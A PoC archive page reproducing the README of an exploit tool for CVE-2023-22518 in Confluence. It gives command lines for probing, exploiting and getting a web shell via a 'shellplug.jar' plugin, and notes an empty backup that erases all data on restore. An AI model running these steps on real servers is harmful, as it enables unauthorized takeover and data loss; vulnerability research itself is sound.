Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2023-22518 PoC — Atlassian Confluence Data Center 和 Confluence Server 安全漏洞

Source
Associated Vulnerability
Title:Atlassian Confluence Data Center 和 Confluence Server 安全漏洞 (CVE-2023-22518)
Description:All versions of Confluence Data Center and Server are affected by this unexploited vulnerability. This Improper Authorization vulnerability allows an unauthenticated attacker to reset Confluence and create a Confluence instance administrator account. Using this account, an attacker can then perform all administrative actions that are available to Confluence instance administrator leading to - but not limited to - full loss of confidentiality, integrity and availability.  Atlassian Cloud sites are not affected by this vulnerability. If your Confluence site is accessed via an atlassian.net domain, it is hosted by Atlassian and is not vulnerable to this issue.
Description
Confluence CVE-2023-22518
Readme
# CVE-2023-22518

Confluence CVE-2023-22518

## Description

+ `xmlexport-20231127-071916-1.zip`:Confluence 空备份文件,**空备份会导致恢复后丢失全部数据**!!!
+ 备份文件可自行替换,置于脚本同级目录即可
+ `shellplug.jar`:getshell 插件,来源于:https://github.com/youcannotseemeagain/CVE-2023-22515_RCE
+ 导出备份文件的接口`/setup/setup-restore.action`,需要登录且有权限

## Usage

```powershell
python .\CVE-2023-22518.py -h                                                             


     ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗ ██████╗       ██████╗ ██████╗ ███████╗ ██╗ █████╗
    ██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗╚════██╗      ╚════██╗╚════██╗██╔════╝███║██╔══██╗
    ██║     ██║   ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝█████╗ █████╔╝ █████╔╝███████╗╚██║╚█████╔╝
    ██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝  ╚═══██╗╚════╝██╔═══╝ ██╔═══╝ ╚════██║ ██║██╔══██╗
    ╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗██████╔╝      ███████╗███████╗███████║ ██║╚█████╔╝
     ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝╚═════╝       ╚══════╝╚══════╝╚══════╝ ╚═╝ ╚════╝

                                                                            @Auth: C1ph3rX13
                                                                            @Blog: https://c1ph3rx13.github.io
                                                                            @Note: 代码仅供学习使用,请勿用于其他用途


optional arguments:
  -h, --help            show this help message and exit
  -t TARGET, --target TARGET
                        Target Url
  -id JSESSIONID, --jsessionid JSESSIONID
                        JSESSIONID
  --timeout TIMEOUT     Timeout (Default: 30 Seconds)
  --proxy PROXY         Proxy

```

### POC

```powershell
python .\CVE-2023-22518.py poc -t http://IP:Port
```

![img](https://raw.githubusercontent.com/C1ph3rX13/CVE-2023-22518/main/images/CVE-2023-22518-poc.png)

### Exp

```powershell
Cookie:
JSESSIONID=754BEE347CD53ECB342B74CFFDD33B4D

python .\CVE-2023-22518.py exp -t http://IP:Port -id 754BEE347CD53ECB342B74CFFDD33B4D
```

![img](https://raw.githubusercontent.com/C1ph3rX13/CVE-2023-22518/main/images/CVE-2023-22518-exp.png)

### Shell

```powershell
Cookie:
JSESSIONID=754BEE347CD53ECB342B74CFFDD33B4D

python .\CVE-2023-22518.py shell -t http://IP:Port -id 754BEE347CD53ECB342B74CFFDD33B4D
```

![img](https://raw.githubusercontent.com/C1ph3rX13/CVE-2023-22518/main/images/CVE-2023-22518-shell.png)

## Thanks

https://github.com/ForceFledgling/CVE-2023-22518

https://github.com/sanjai-AK47/CVE-2023-22518

File Snapshot

[4.0K] /data/pocs/d6e0712ce30fda99dce82daafaeb2d4c7346a513 ├── [8.5K] CVE-2023-22518.py ├── [ 272] docker-compose.yml ├── [4.0K] images │   ├── [ 59K] CVE-2023-22518-exp.png │   ├── [ 40K] CVE-2023-22518-poc.png │   └── [ 88K] CVE-2023-22518-shell.png ├── [1.0K] LICENSE ├── [3.7K] README.md ├── [9.3K] shellplug.jar └── [847K] xmlexport-20231127-071916-1.zip 1 directory, 9 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →